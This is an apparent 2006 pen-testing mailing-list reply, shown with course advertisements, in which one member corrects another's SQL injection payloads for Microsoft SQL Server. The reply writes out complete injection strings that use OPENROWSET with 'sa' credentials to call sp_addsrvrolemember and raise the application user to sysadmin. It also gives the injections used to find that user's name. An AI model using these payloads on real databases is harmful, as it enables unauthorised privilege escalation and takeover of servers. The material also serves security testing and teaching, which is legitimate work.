Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Pen-Test
[Top] [All Lists]

RE: custom xp_cmdshell on SQL Server

Subject: RE: custom xp_cmdshell on SQL Server
Date: Tue, 19 Sep 2006 19:20:32 -0500
Andy,

Correct. But since I am injecting 'CREATE PROCEDURE' inside 
an OPENROWSET statement, that should solve the issue, as the 
SQL code inside the OPENROWSET is executed as a batch in 
itself (correct me if I am wrong)

You may be right and that would be a nice workaround for the create
procedure lockout. Have you tried it locally with openrowset and does it
work?

I am running my code as an unprivileged user, but I escalated 
to 'sa' using OPENROWSET

But I mean an unprivileged OS user. SQL Server not always runs as NT
Authority/SYSTEM. If you are 'SA' you inherit SQL Server's privileges and at
the operating system level you can still be "guest" or more frequently an
account named sql_server or something (which may not have access to
executing system32 binaries).

' and 1=(select * from
openrowset('SQLOLEDB','DRIVER={SQLServer};SERVER=<server>;UID
=sa;PWD=<password>',N'select user; declare @u varchar(50); set @u =
(select 
rd>system_user); exec master.dbo.sp_addsrvrolemember @u,
''sysadmin'''))--

There is an error in this query I sent you. You should avoid declaring the
variable because it is being set within the context of the openrowset query:
you will be adding SA to sysadmin the way it is. Try it this way:

' and 1=(select * from openrowset('SQLOLEDB','DRIVER={SQLServer};
SERVER=<server>;UID=sa;PWD=<password>',N'select user; exec
master.dbo.sp_addsrvrolemember <app user>, ''sysadmin'''))--

Obtain <app user> with [' and 1=system_user --] or [' and 1=user --] In this
case both should be the same.

Regards,
Victor


------------------------------------------------------------------------
This List Sponsored by: Cenzic

Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------

<Prev in Thread] Current Thread [Next in Thread>